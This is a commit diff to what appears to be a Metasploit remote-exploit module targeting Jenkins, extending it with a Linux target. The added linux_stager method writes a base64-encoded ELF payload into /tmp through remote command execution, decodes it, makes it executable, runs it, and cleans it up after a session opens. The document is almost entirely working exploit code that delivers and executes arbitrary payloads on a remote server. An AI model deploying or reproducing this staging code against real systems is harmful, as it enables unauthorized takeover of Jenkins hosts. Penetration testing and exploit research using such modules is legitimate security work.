@@ -12,6 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
12
12
13
13
include Msf ::Exploit ::Remote ::HttpClient
14
14
include Msf ::Exploit ::CmdStagerVBS
15
+ include Msf ::Exploit ::FileDropper
15
16
16
17
def initialize ( info = { } )
17
18
super ( update_info ( info ,
@@ -36,8 +37,9 @@ def initialize(info = {})
36
37
] ,
37
38
'Targets' =>
38
39
[
39
- [ 'Windows' , { 'Arch' => ARCH_X86 , 'Platform' => 'win' } ] ,
40
- [ 'Unix' , { 'Arch' => ARCH_CMD , 'Platform' => 'unix' , 'Payload' => { 'BadChars' => "\x22 " } } ] ,
40
+ [ 'Windows' , { 'Arch' => ARCH_X86 , 'Platform' => 'win' } ] ,
41
+ [ 'Linux' , { 'Arch' => ARCH_X86 , 'Platform' => 'linux' } ] ,
42
+ [ 'Unix CMD' , { 'Arch' => ARCH_CMD , 'Platform' => 'unix' , 'Payload' => { 'BadChars' => "\x22 " } } ]
41
43
] ,
42
44
'DisclosureDate' => 'Jan 18 2013' ,
43
45
'DefaultTarget' => 0 ) )
@@ -46,7 +48,7 @@ def initialize(info = {})
46
48
[
47
49
OptString . new ( 'USERNAME' , [ false , 'The username to authenticate as' , '' ] ) ,
48
50
OptString . new ( 'PASSWORD' , [ false , 'The password for the specified username' , '' ] ) ,
49
- OptString . new ( 'TARGETURI' , [ true , 'The path to jenkins' , '/jenkins/' ] ) ,
51
+ OptString . new ( 'TARGETURI' , [ true , 'The path to jenkins' , '/jenkins/' ] ) ,
50
52
] , self . class )
51
53
end
52
54
@@ -62,6 +64,13 @@ def check
62
64
end
63
65
end
64
66
67
+ def on_new_session ( client )
68
+ if not @to_delete . nil?
69
+ print_warning ( "Deleting #{ @to_delete } payload file" )
70
+ execute_command ( "rm #{ @to_delete } " )
71
+ end
72
+ end
73
+
65
74
def http_send_command ( cmd , opts = { } )
66
75
request_parameters = {
67
76
'method' => 'POST' ,
@@ -100,9 +109,35 @@ def java_craft_runtime_exec(cmd)
100
109
end
101
110
102
111
def execute_command ( cmd , opts = { } )
112
+ vprint_status ( "Attempting to execute: #{ cmd } " )
103
113
http_send_command ( "#{ cmd } " )
104
114
end
105
115
116
+ def linux_stager
117
+ cmds = "echo LINE | tee FILE"
118
+ exe = Msf ::Util ::EXE . to_linux_x86_elf ( framework , payload . raw )
119
+ base64 = Rex ::Text . encode_base64 ( exe )
120
+ base64 . gsub! ( /\= / , "\\ u003d" )
121
+ file = rand_text_alphanumeric ( 4 +rand ( 4 ) )
122
+
123
+ execute_command ( "touch /tmp/#{ file } .b64" )
124
+ cmds . gsub! ( /FILE/ , "/tmp/" + file + ".b64" )
125
+ base64 . each_line do |line |
126
+ line . chomp!
127
+ cmd = cmds
128
+ cmd . gsub! ( /LINE/ , line )
129
+ execute_command ( cmds )
130
+ end
131
+
132
+ execute_command ( "base64 -d /tmp/#{ file } .b64|tee /tmp/#{ file } " )
133
+ execute_command ( "chmod +x /tmp/#{ file } " )
134
+ execute_command ( "rm /tmp/#{ file } .b64" )
135
+
136
+ execute_command ( "/tmp/#{ file } " )
137
+ @to_delete = "/tmp/#{ file } "
138
+ end
139
+
140
+
106
141
def exploit
107
142
@uri = target_uri
108
143
@uri . path = normalize_uri ( @uri . path )
@@ -138,10 +173,12 @@ def exploit
138
173
when 'win'
139
174
print_status ( "#{ rhost } :#{ rport } - Sending VBS stager..." )
140
175
execute_cmdstager ( { :linemax => 2049 } )
141
-
142
176
when 'unix'
143
177
print_status ( "#{ rhost } :#{ rport } - Sending payload..." )
144
178
http_send_command ( "#{ payload . encoded } " )
179
+ when 'linux'
180
+ print_status ( "#{ rhost } :#{ rport } - Sending Linux stager..." )
181
+ linux_stager
145
182
end
146
183
147
184
handler
0 commit comments